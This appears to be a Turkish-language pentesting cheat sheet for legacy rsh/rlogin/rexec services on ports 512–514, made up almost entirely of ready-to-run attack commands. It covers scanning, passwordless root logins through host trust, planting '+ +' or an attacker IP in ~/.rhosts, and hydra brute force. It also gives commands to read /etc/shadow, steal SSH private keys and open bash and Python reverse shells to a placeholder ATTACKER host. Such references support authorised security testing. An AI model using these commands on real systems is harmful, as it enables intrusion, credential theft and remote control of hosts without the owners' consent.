514 - Pentesting Rsh
network legacy
rsh/rlogin (514/513) eski trust tabanlı uzaktan kabuktur. .rhosts /
hosts.equiv yanlışlığı komut enjeksiyonu ve yanal hareket demektir.
Metodoloji
Section titled “Metodoloji”-
512/513/514 ve ilgili rexec yüzeyini tara.
-
Kullanıcı/host trust hipotezini dene (
rsh host cmd). -
Yazılabilir
~/.rhostsveya/etc/hosts.equivara. -
Kabuk sonrası credential ve pivot topla.
nmap -Pn -sV -p512,513,514 TARGETnmap -Pn -p512,513,514 --script rlogin*,rsh* TARGETnc -nv TARGET 514Trust abuse
Section titled “Trust abuse”rsh TARGET -l root idrsh TARGET -l oracle idrlogin TARGET -l rootrexec TARGET -l user idKaynak IP + kullanıcı adı hosts.equiv/.rhosts ile eşleşiyorsa parola yok.rhosts / hosts.equiv
Section titled “.rhosts / hosts.equiv”# hedefte yazma hakkı varsa:echo '+ +' > ~/.rhostsecho 'ATTACKER_IP root' > ~/.rhostschmod 644 ~/.rhostscat /etc/hosts.equiv 2>/dev/null+ + → herkes her kullanıcıATTACKER_IP + → o IP tüm kullanıcılarBrute / kullanıcı
Section titled “Brute / kullanıcı”hydra -L users.txt -P rockyou.txt rlogin://TARGEThydra -L users.txt -P rockyou.txt rsh://TARGETroot, oracle, bin, sys, adm klasik hedeflerKomut çalıştırma
Section titled “Komut çalıştırma”rsh TARGET -l user 'cat /etc/shadow'rsh TARGET -l user 'bash -i >& /dev/tcp/ATTACKER/443 0>&1'rsh TARGET -l user 'python3 -c "import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER\",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])"'Post-erişim
Section titled “Post-erişim”rsh TARGET -l user 'cat ~/.bash_history ~/.ssh/id_rsa 2>/dev/null'rsh TARGET -l user 'uname -a; id; ip a'Checklist
Section titled “Checklist”[ ] 512/513/514 açık[ ] Trust ile parolasız komut denendi[ ] .rhosts yazma / hosts.equiv okuma[ ] Reverse shell veya interactive rlogin[ ] Lateral için credential toplandı